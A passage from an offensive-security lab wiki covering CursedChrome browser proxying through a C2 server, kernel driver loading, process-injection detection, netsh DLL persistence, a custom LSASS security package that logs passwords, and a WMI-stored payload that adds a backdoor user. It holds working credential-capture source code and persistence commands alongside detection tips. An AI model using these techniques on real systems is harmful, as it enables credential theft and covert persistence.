HTTP proxy on \`127.0.0.1:8080\` - we will need these later, when setting up local SSH tunnels, so that we can access these services from the attacking machine \`WS01\`. ### Compromised Computer with CursedChrome Implant On a compromised computer, we need to install the CursedChrome implant. It's up to you how you will do it, but for the demo purposes, I simply enabled \`Developer mode\` and clicked \`Load unpacked\` and pointed it to the \`.\\extension\` folder from the CursedChrome's repo. The extension is now installed: !\[CursedChrome installed in to Chrome\](/files/-MjooCOUWt7pqlJu0ngL) ### Attacker On the attacker machine, let's set up a couple of local SSH tunnels. #### SSH Tunnel for CursedChrome Web Console In order to access the CursedChrome's C2 web console via \`http://localhost:1111\`, we need the following SSH tunnel to the CursedChrome's C2 server: \`\`\` ssh ubuntu@18.130.61.92 -L1111:localhost:8118 -f -N \`\`\` #### SSH Tunnel for CursedChrome HTTP Proxy In order to proxy our HTTP traffic through the CursedChrome's C2 web proxy, using FoxyProxy, we need the following tunnel: \`\`\` ssh ubuntu@18.130.61.92 -L2222:localhost:8080 -f -N \`\`\` Once we have the tunnels setup, we can try accesing the web console by navigating to \`http://localhost:1111\` and if everything works, you should see a login panel: !\[CursedChrome web console.\](/files/-MjonOdyaoQlePHuEOE2) Enter the admin credentials you got after setting up the CursedChrome server using \`docker-compose\` and you should now be logged on to the panel, where you will see a bot / compromised computer's CursedChrome extension calling back to the CursedChrome C2: !\[CursedChrome web panel, logged in.\](/files/-MjopNX3J9mgmFZZf85i) Note the username and password of the bot as you will need it when configuring FoxyProxy. #### Installing CursedChrome CA Certificate to FireFox {% hint style="danger" %} \*\*Important\*\*\\ Do not forget to export the Proxy CA certificate (see the big download button below the connected bots panel) and install it to FireFox as this is required for the technique to work. {% endhint %} !\[Installing CursedChrome CA Certificate to FireFox\](/files/-Mjt3LmP2VLFaMtMlUXr) #### Configuring FireFox Extension FoxyProxy Now we're ready to setup the FoxyProxy (FireFox extension). Proxy IP and port should be \`127.0.0.1:2222\` (remember, we set up a local SSH tunnel for this earlier) and username/password should be those seen in the "Connected bots" panel in the CursedChrome's C2 web console: !\[ProxyFoxy configured to proxy traffic through the infected Chrome on a compromised computer\](/files/-MjorQuYSu0zW1BxDB1\_) Configure FireFox to use the FoxyProxy you just set up and you are ready to access some internal web application on a compromised computer's network, that otherwise would not be accessible to you. ## Moment of Truth With all the setup completed, the below image shows how I'm able to access a Bitbucket on behalf of a compromised user \`Mantvydas\` without knowing their credentials on a network that is outside of the attacking VM \`WS01\`: !\[Accessing Bitbucket via a compromised computer with CursedChrome extension installed on it\](/files/-Mjt4mAZFy-dkUYMlZlS) ## References {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/lateral-movement/man-in-the-browser-via-chrome-extension.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/loading-a-windows-kernel-driver-osr-driver-loader-debugging-with-source-code.md). # Loading Windows Kernel Driver for Debugging ## Loading a Driver with OSR Driver Loader On the system where you want to load your driver (debugee), from an elevated command prompt, disable the driver integrity checks so that we can load our unsigned drivers onto Windows 10: \`\`\` bcdedit /set nointegritychecks on; bcdedit /set testsigning on \`\`\` !\[\](/files/-LuNo3eU4ScoLrl3E-UV) Once you have rebooted the system, open up the \[OSR Loader\](https://www.osronline.com/article.cfm%5Earticle=157.htm) and load the driver as shown below: !\[\](/files/-LuNxI6Uo6QEVmrA3FkX) Note that my driver name was \`kmdfHelloDriver\`. We can now confirm the driver loaded successfully by debugging the kernel: \`\`\` 0: kd> db kmdfHelloDriver \`\`\` !\[\](/files/-LuNyE1QfaoOH8vc06gf) Additionally, we can check it this way by showing some basic details about the loaded module: \`\`\` 0: kd> ln kmdfHelloDriver \`\`\` !\[\](/files/-LuNyl3FSgAk1thv3YUG) If we check it via the service configuration manager, we also see that our driver is now loaded and running: \`\`\` sc.exe query kmdfHelloDriver \`\`\` !\[\](/files/-LuNzGj5jhWsJrFucFec) ## Loading a Driver via Command Prompt + WinDBG The benefit of loading a kernel driver this way is that it does not rely on OSR Driver Loader or any other 3rd party tools and also is much more efficient. {% hint style="info" %} \*\*Important\*\*\\ In order for this technique to work, the WinDBG debugger needs to be attached to the debugee. {% endhint %} ### Preparing Powershell Profile On the debuggee, launch an elevated powershell console and do the following: \`\`\` notepad $PROFILE.AllUsersAllHosts \`\`\` in the powershell profile, add the following powershell function: \`\`\`csharp function Install-Driver($name) { $cleanName = $name -replace ".sys|.\\\\", "" sc.exe stop $cleanName sc.exe delete $cleanName cp $name c:\\windows\\system32\\drivers\\ -verbose -force sc.exe create $cleanName type= kernel start= demand error= normal binPath= c:\\windows\\System32\\Drivers\\$cleanName.sys DisplayName= $cleanName sc.exe start $cleanName } \`\`\` The above function \`Install-Driver\` takes one parameter \`$name\`, which signifies a driver name that we want to install. The function \`Install-Driver\` will: \* Attempt to stop the service (unload the driver) if it's already running (no error checking) \* Attempt to delete the service (no error checking) \* Copy the driver from the current directory to c:\\windows\\system32\\drivers \* Create a service for the driver \* Start the service (load the driver) Below screenshot shows the two steps explained above: !\[\](/files/-ME8ysJKm5ognyndoCKQ) {% hint style="info" %} Once the powershell profile is saved, close the powershell console and open it again for the function \`Install-Driver\` to become usable. {% endhint %} ### Loading the Driver Navigate to the folder that contains the .sys file of the driver you want to install, which in my case is \`wdm-helloworld.sys\` in Z:\\wdm-helloworld\\x64\\Debug: !\[\](/files/-ME91YmZTD-AmfBmQOei) Now, we can install the driver by simply invoking: \`\`\`csharp Install-Driver wdm-helloworld.sys \`\`\` !\[\](/files/-ME93SAgq7BOQYo468I3) ### Stepping through Source Code If we have source code for the driver we want to debug, we can load its source code and step through it in WinDBG. Load the source code via the \`Source > Open Source File\` and re-load the driver again using \`Install-Driver\` function: !\[Stepping through driver's C code\](/files/-ME9528M2ts5vjAeITq-) --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/loading-a-windows-kernel-driver-osr-driver-loader-debugging-with-source-code.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/get-injectedthread.md). # Exploring Injected Threads ## Injecting Shellcode Firstly, let's use an \[injector\](/offensive-security/code-injection-process-injection/process-injection.md) program we wrote earlier to inject some shellcode into a process that will give us a reverse shell. In this case, we are injecting the shellcode into explorer.exe: !\[\](/files/-LNH8rtdFUuFn3RwRHfE) ## Detecting Injection Now that we have injected the code into a new thread of the explorer.exe process, let's scan all the running processes for any injected threads using \[Get-InjectedThreads.ps1\](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2): \`\`\`csharp $a = Get-InjectedThread; $a \`\`\` Looks like the injected thread was successfully detected: !\[\](/files/-LNH941sA6haZhT98zWv) ## Cross-checking Shellcode Lets check the payload found in the injected thread: \`\`\`csharp ($a.Bytes | ForEach-Object tostring x2) -join "\\x" \`\`\` !\[\](/files/-LNHAMlWP8o8ep2Bu1J7) and cross-verify it with the shellcode specified in our injector binary. We see they match as expected: !\[\](/files/-LNHAvZXUf0wxyCwYzC1) ## Inspecting with WinDBG In order to inspect the newly created thread that executes the above shellcode with WinDBG, we need to know the injected thread id. For this, we use Process Explorer and note the newly created thread's ID which is \`2112\`. Note the \`ThreadId\` is also shown in the output of Get-InjectedThread powershell script: !\[\](/files/-LNHPTxzc\_i9IFhRlmYC) We can get all the threads for a process being debugged in WinDBG with \`~\` command: !\[\](/files/-LNHQrwc2shPT0gHpwWQ) Additionally, in order to inspect the bytes stored/executed in the injected thread, we need to get the thread's \`StartAddress\` which can be retrieved with \`~.\` command when in the context of the thread of interest. Below graphic shows the injected thread's contents with WinDBG: !\[Injected thread id + StartAddress + content bytes\](/files/-LNHSL9WypWnMoz4lbEg) The above also highlights the thread \`0x1494 = 5268\` ID. That thread is then inspected for its \`StartAddress\`, which happened to be \`0x03730000 = 57868288\`. For reference, the original shellcode bytes are displayed in the upper right corner. Bottom right corner shows the output of the \`Get-InjectedThreads\` indicating \`ThreadId\` and \`StartAddress\` in decimal. ## How Get-InjectedThreads detects code injection? One of the things Get-InjectedThreads does in order to detect code injection is: \* it enumerates all the threads in each running process on the system \* performs the following checks on memory regions holding those threads: \`MemoryType == MEM\_IMAGE && MemoryState == MEM\_COMMIT\` \* If the condition is not met, it means that the code, running from the thread being inspected, does not have a corresponding image file on the disk, suggesting the code may be injected directly to memory. Below graphic shows details of the memory region containing the injected thread using WinDBG and Get-InjectedThreads. Note the Type/MemoryType and State/MemoryState in WinDBG/Get-InjectedThreads outputs respectively: !\[\](/files/-LNHVFMaSP5Ko3Gekrfi) ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/get-injectedthread.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/compiling-first-kernel-driver-kdprint-dbgprint-and-debugview.md). # Compiling a Simple Kernel Driver, DbgPrint, DbgView ## Simple Windows Driver Framework (WDF) Kernel Driver Select Kernel Mode Driver, Emtpy (KMDF) from templates: !\[\](/files/-M12kHHK5ZM\_7c2358C9) ## Create a driver.c Create a new \`driver.c\` file under \`Source Files\`: !\[\](/files/-M12kSVYTjYJAs5pMSed) ## Add Driver Code {% code title="driver.c" %} \`\`\`c #include #include DRIVER\_INITIALIZE DriverEntry; EVT\_WDF\_DRIVER\_DEVICE\_ADD EvtDriverDeviceAdd; EVT\_WDF\_DRIVER\_UNLOAD UnloadDriver; \_Use\_decl\_annotations\_ void UnloadDriver(IN WDFDRIVER driver) { UNREFERENCED\_PARAMETER(driver); DbgPrint("Driver unloaded"); } NTSTATUS DriverEntry(\_In\_ PDRIVER\_OBJECT DriverObject, \_In\_ PUNICODE\_STRING RegistryPath) { WDF\_DRIVER\_CONFIG config; WDF\_DRIVER\_CONFIG\_INIT(&config, EvtDriverDeviceAdd); config.EvtDriverUnload = UnloadDriver; NTSTATUS status = WdfDriverCreate(DriverObject, RegistryPath, WDF\_NO\_OBJECT\_ATTRIBUTES, &config, WDF\_NO\_HANDLE); DbgPrint("Driver loaded"); return status; } NTSTATUS EvtDriverDeviceAdd(\_In\_ WDFDRIVER Driver,\_Inout\_ PWDFDEVICE\_INIT DeviceInit) { UNREFERENCED\_PARAMETER(Driver); WDFDEVICE device; NTSTATUS status = WdfDeviceCreate(&DeviceInit, WDF\_NO\_OBJECT\_ATTRIBUTES, &device); return status; } \`\`\` {% endcode %} ## Enable DbgPrint Monitoring for WinDBG Change the debug output verbosity: \`\`\` ed kd\_default\_mask 0xf \`\`\` !\[\](/files/-M1G7tWDFuO1nDUU1zpc) \[Starting the driver\](/miscellaneous-reversing-forensics/windows-kernel-internals/loading-a-windows-kernel-driver-osr-driver-loader-debugging-with-source-code.md) allows us to see the debug output in WinDBG: !\[\](/files/-M1G85ERdnQ5LlAXo4Eu) ## Enable DbgPrint Monitoring for DbgView Create a sub-key \`Debug Print Filter\` if it does not exist: \`\`\` Computer\\HKEY\_LOCAL\_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Debug Print Filter \`\`\` Add a new DWORD value \`DEFAULT\` and set its Data field to \`0xf\`: !\[\](/files/-M1H0pS6TcssCh6KhUK4) If we load the driver now and start it, we can see the debug output in DbgView too: !\[\](/files/-M1H0iZY9RcOqz2k1oKA) ## Requested Control is Not Valid for This Service The below error message is seen if you attempt to stop the WDF driver via OSR Driver Loader or the native sc.exe, even if you have defined the driver unloading routine: !\[\](/files/-M1H5NBIA6sP1M607lrF) I could not find a solution to this, but WDM driver has no such issue - see the code below. ## Simple Windows Driver Model (WDM) Kernel Driver Load and Unload Below is a simple WDM driver that can be compiled and then loaded and stopped with OSR Driver Loader: \`\`\`c #include void DriverUnload(PDRIVER\_OBJECT dob) { UNREFERENCED\_PARAMETER(dob); DbgPrint("Driver unloaded"); } NTSTATUS DriverEntry(PDRIVER\_OBJECT DriverObject, PUNICODE\_STRING RegistryPath) { UNREFERENCED\_PARAMETER(DriverObject); UNREFERENCED\_PARAMETER(RegistryPath); DriverObject->DriverUnload = DriverUnload; DbgPrint("Driver loaded"); return STATUS\_SUCCESS; } \`\`\` Below shows how our driver is loaded and unloaded via OSR Loader while DbgView prints our DbgPrint output defined in the above \`DriverEntry\` and \`DriverUnload\` routines: !\[\](/files/-M1H4x5cgTU9LsEPFe4G) ## References {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/compiling-first-kernel-driver-kdprint-dbgprint-and-debugview.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/persistence/t1128-netsh-helper-dll.md). # NetSh Helper DLL ## Execution \[NetshHelperBeacon helper DLL\](https://github.com/outflanknl/NetshHelperBeacon) will be used to test out this technique. A compiled x64 DLL can be downloaded below: {% file src="/files/-LIbxNiYUEWt954K4bOL" %} NetshHelperBeacon {% endfile %} The helper library, once loaded, will start \`calc.exe\`: !\[\](/files/-LIc3pqOew-8l3Fn-PZp) {% code title="attacker\\@victim" %} \`\`\`bash .\\netsh.exe add helper C:\\tools\\NetshHelperBeacon.dll \`\`\` {% endcode %} !\[\](/files/-LIc6oqxjrcGMvFvQJxb) ## Observations Adding a new helper via commandline modifies registry, so as a defender you may want to monitor for registry changes in \`Computer\\HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\NetSh\`: !\[\](/files/-LIc4Mak7OjR0g7r5TEu) When netsh is started, Procmon captures how \`InitHelperDLL\` expored function of our malicious DLL is called: !\[\](/files/-LIc7mZgMYI9sRYly8ED) As usual, monitoring command line arguments is a good idea that may help uncover suspicious activity: !\[\](/files/-LIc8O6vt7kkPTQJbM3b) !\[\](/files/-LIc8QJqvAQR9xIQuoKU) ## Interesting Loading the malicious helper DLL crashed netsh. Inspecting the calc.exe process after the crash with Process Explorer reveals that the parent process is svchost, although the sysmon logs showed cmd.exe as its parent: !\[\](/files/-LIc8g3NXTPygFKR2lh8) ## References {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/persistence/t1128-netsh-helper-dll.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/intercepting-logon-credentials-via-custom-security-support-provider-and-authentication-package.md). # Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages This technique abuses Windows Security Support Provider (SSP) and Authentication Packages (AP) that come in the form of DLLs that get injected into LSASS.exe process on system boot or dynamically via \`AddSecurityPackage\` API. ## Loading SSP with Reboot In this lab, mimikatz Security Support Provider \[mimilib.dll\](https://github.com/gentilkiwi/mimikatz) will be registered as a Windows Security Package. Once the Security Package is registered and the system is rebooted, the mimilib.dll will be loaded into lsass.exe process memory and intercept all logon passwords next time someone logs onto the system or otherwise authenticates, say, via \`runas.exe\`. Let's now build the \[mimilib.dll\](https://github.com/gentilkiwi/mimikatz) and copy it to the target machine's system32 folder: {% code title="attacker\\@target" %} \`\`\`cpp PS C:\\> copy mimilib.dll %systemroot%\\system32 \`\`\` {% endcode %} Get a list existing LSA Security Packages: {% code title="attacker\\@target" %} \`\`\`bash PS C:\\> reg query hklm\\system\\currentcontrolset\\control\\lsa\\ /v "Security Packages" HKEY\_LOCAL\_MACHINE\\system\\currentcontrolset\\control\\lsa Security Packages REG\_MULTI\_SZ kerberos\\0msv1\_0\\0schannel\\0wdigest\\0tspkg\\0pku2u \`\`\` {% endcode %} Add mimilib.dll to the Security Support Provider list (Security Packages): {% code title="attacker\\@target" %} \`\`\`csharp PS C:\\> reg add "hklm\\system\\currentcontrolset\\control\\lsa\\" /v "Security Packages" /d "kerberos\\0msv1\_0\\0schannel\\0wdigest\\0tspkg\\0pku2u\\0mimilib" /t REG\_MULTI\_SZ /f \`\`\` {% endcode %} The below shows \`Security Packages\` registry value with the \`mimilib\` added and the \`kiwissp.log\` file with a redacted password that had been logged during the user logon (after the system had been rebooted after the Security Package was registered): !\[\](/files/-LIDBOdQygaR02jMz-hu) {% hint style="info" %} Reboot is required for the new SSP to take effect after it's been added to the Security Packages list. {% endhint %} ## Loading SSP without Reboot It's possible to load the SSP DLL without modifying the registry: !\[\](/files/-LyPBoviLuwacclYvB9Q) Below code loads the malicious SSP spotless.dll: \`\`\`cpp #define WIN32\_NO\_STATUS #define SECURITY\_WIN32 #include #include #include #include #pragma comment(lib, "Secur32.lib") int main() { SECURITY\_PACKAGE\_OPTIONS spo = {}; SECURITY\_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\\\temp\\\\spotless.dll", &spo); return 0; } \`\`\` Below shows how the new Security Package spotless.dll is loaded by lsass and is effective immediately: !\[procmon filter: path contains "spotless"\](/files/-LyP9GtoDc5a8VXefAZe) {% hint style="info" %} Loading the SSP with this approach does not survive a reboot unlike SSPs that are loaded as registered Security Packages via registry. {% endhint %} ## Detection It may be worth monitoring \`Security Packages\` value in\`hklm\\system\\currentcontrolset\\control\\lsa\\\` for changes. Newly added packages should be inspected: !\[\](/files/-LIDBWboVXz7w5gqEDYx) Additionally, mimilib.dll (same applies to custom spotless.dll) can be observed in the list of DLLs loaded by lsass.exe, so as a defender, you may want to make a baseline of loaded known good DLLs of the lsass process and monitor it for any new suspicious DLLs: !\[\](/files/-LIDKm7oWBbmxouRNgTs) ## Code Below is the code, originally taken from \[mimikatz\](https://github.com/gentilkiwi/mimikatz), adapted and refactored to suit this lab, that we can compile as our own Security Support Provider DLL. It intercepts authenticatin details and saves them to a file \`c:\\temp\\logged-pw.txt\`: \`\`\`cpp #include "stdafx.h" #define WIN32\_NO\_STATUS #define SECURITY\_WIN32 #include #include #include #include #include #pragma comment(lib, "Secur32.lib") NTSTATUS NTAPI SpInitialize(ULONG\_PTR PackageId, PSECPKG\_PARAMETERS Parameters, PLSA\_SECPKG\_FUNCTION\_TABLE FunctionTable) { return 0; } NTSTATUS NTAPI SpShutDown(void) { return 0; } NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo) { PackageInfo->Name = (SEC\_WCHAR \*)L"SSSPotless"; PackageInfo->Comment = (SEC\_WCHAR \*)L"SSSPotless "; PackageInfo->fCapabilities = SECPKG\_FLAG\_ACCEPT\_WIN32\_NAME | SECPKG\_FLAG\_CONNECTION; PackageInfo->wRPCID = SECPKG\_ID\_NONE; PackageInfo->cbMaxToken = 0; PackageInfo->wVersion = 1; return 0; } NTSTATUS NTAPI SpAcceptCredentials(SECURITY\_LOGON\_TYPE LogonType, PUNICODE\_STRING AccountName, PSECPKG\_PRIMARY\_CRED PrimaryCredentials, PSECPKG\_SUPPLEMENTAL\_CRED SupplementalCredentials) { HANDLE outFile = CreateFile(L"c:\\\\temp\\\\logged-pw.txt", FILE\_GENERIC\_WRITE, 0, NULL, OPEN\_ALWAYS, FILE\_ATTRIBUTE\_NORMAL, NULL); DWORD bytesWritten = 0; std::wstring log = L""; std::wstring account = AccountName->Buffer; std::wstring domain = PrimaryCredentials->DomainName.Buffer; std::wstring password = PrimaryCredentials->Password.Buffer; log.append(account).append(L"@").append(domain).append(L":").append(password).append(L"\\n"); WriteFile(outFile, log.c\_str(), log.length() \* 2, &bytesWritten, NULL); CloseHandle(outFile); return 0; } SECPKG\_FUNCTION\_TABLE SecurityPackageFunctionTable\[\] = { { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize, SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL } }; // SpLsaModeInitialize is called by LSA for each registered Security Package extern "C" \_\_declspec(dllexport) NTSTATUS NTAPI SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG\_FUNCTION\_TABLE \*ppTables, PULONG pcTables) { \*PackageVersion = SECPKG\_INTERFACE\_VERSION; \*ppTables = SecurityPackageFunctionTable; \*pcTables = 1; return 0; } \`\`\` ## References {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/credential-access-and-credential-dumping/intercepting-logon-credentials-via-custom-security-support-provider-and-authentication-package.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/persistence/t1084-abusing-windows-managent-instrumentation/wmi-data-storage.md). # WMI as a Data Storage ## Execution Creating a new WMI class with a property \`EvilProperty\` that will later store the payload to be executed: \`\`\`csharp $evilClass = New-Object management.managementclass('root\\cimv2',$null,$null) $evilClass.Name = "Evil" $evilClass.Properties.Add('EvilProperty','Tis notin good sir') $evilClass.Put() Path : \\\\.\\root\\cimv2:Evil RelativePath : Evil Server : . NamespacePath : root\\cimv2 ClassName : Evil IsClass : True IsInstance : False IsSingleton : False \`\`\` We can see the \`Evil\` class properties: \`\`\`csharp (\[wmiclass\] 'Evil').Properties Name : EvilProperty Value : Tis notin good sir Type : String IsLocal : True IsArray : False Origin : Evil Qualifiers : {CIMTYPE} \`\`\` Checking WMI Explorer shows the new \`Evil\` class has been created under the \`root\\cimv2\` namepace - note the \`EvilProperty\` can also be observed: !\[\](/files/-LJGDHLcRwH2\_USboI04) ### Storing Payload For storing the payload inside the \`EvilProperty\`, let's create a base64 encoded powershell command that adds a backdoor user with credentials \`backdoor:backdoor\`: \`\`\`csharp $command = "cmd '/c net user add backdoor backdoor /add'" $bytes = \[System.Text.Encoding\]::Unicode.GetBytes($command) $encodedCommand = \[Convert\]::ToBase64String($bytes) # $encodedCommand = YwBtAGQAIAAvAGMAIAAnAG4AZQB0ACAAdQBzAGUAcgAgAGIAYQBjAGsAZABvAG8AcgAgAGIAYQBjAGsAZABvAG8AcgAgAC8AYQBkAGQAJwA= \`\`\` Updating \`EvilProperty\` attribute to store \`$encodedCommand\`: \`\`\`csharp $evilClass.Properties.Add('EvilProperty', $encodedCommand) \`\`\` Below is the same as above, just in a screenshot: !\[\](/files/-LJKsvXJOeiKbQsE\_yuD) ### Real Execution \`\`\`csharp powershell.exe -enc $evilClass.Properties\['EvilProperty'\].Value \`\`\` Executing the payload stored in the property of a WMI class's property - note that the backdoor user has been successfully added: !\[\](/files/-LJKsvXDzgtbbJ1BKYbU) If we commit the \`$evilClass\` with its \`.Put()\` method, our payload will get stored permanently in the WMI Class. Note how a new "Evil" class' properties member shows the payload we have commited: !\[\](/files/-LJKtuN2Jt92bkQvQS9w) ## Observations Using the WMI Explorer, we can inspect the class' definition which is stored in\`%SystemRoot%\\System32\\wbem\\Repository\\OBJECTS.DATA\` The file contains all the classes and other relevant information about those classes. In our case, we can see the \`EvilProperty\` with our malicious payload inside: !\[\](/files/-LJKvAiTYiPrx58Ikf1i) When inspecting the OBJECTS.DATA with a hex editor, it is possible (although not very practical nor user friendly) to find the same data - note that the screenshot is referring to the state of the Evil class at the very beginning of its creation as this is when I took the screenshot: !\[\](/files/-LJL-WE0Tqtb4moRPiAY) --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/persistence/t1084-abusing-windows-managent-instrumentation/wmi-data-storage.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time.md). # Retrieving ntdll Syscall Stubs from Disk at Run-time ## Overview The purpose of this lab was to play with syscalls once more. More specifically, the goal was to be able to retrieve ntdll syscall stubs from the disk during run-time (before AVs/EDRs get a chance to hook them), rather than hardcoding them, since they may change between different Windows versions. This lab was sparked by \[am0nsec\](https://twitter.com/am0nsec)'s and \[RtlMateusz\](https://twitter.com/RtlMateusz)'s\\ although is very different in implementation and execution. See my previous post on syscalls too: {% content-ref url="/pages/-LjAqSVI10yo-MJuXTts" %} \[Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs\](/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs.md) {% endcontent-ref %} I will write some crude code that will do the following: 1. Read ntdll.dll file bytes from the disk (before any AV/EDR has a chance to hook its functions) and write them to some memory location \`m1\` 2. Parse out \`.rdata\` and \`.text\` sections of the ntdll.dll file 1. \`.rdata\` contains 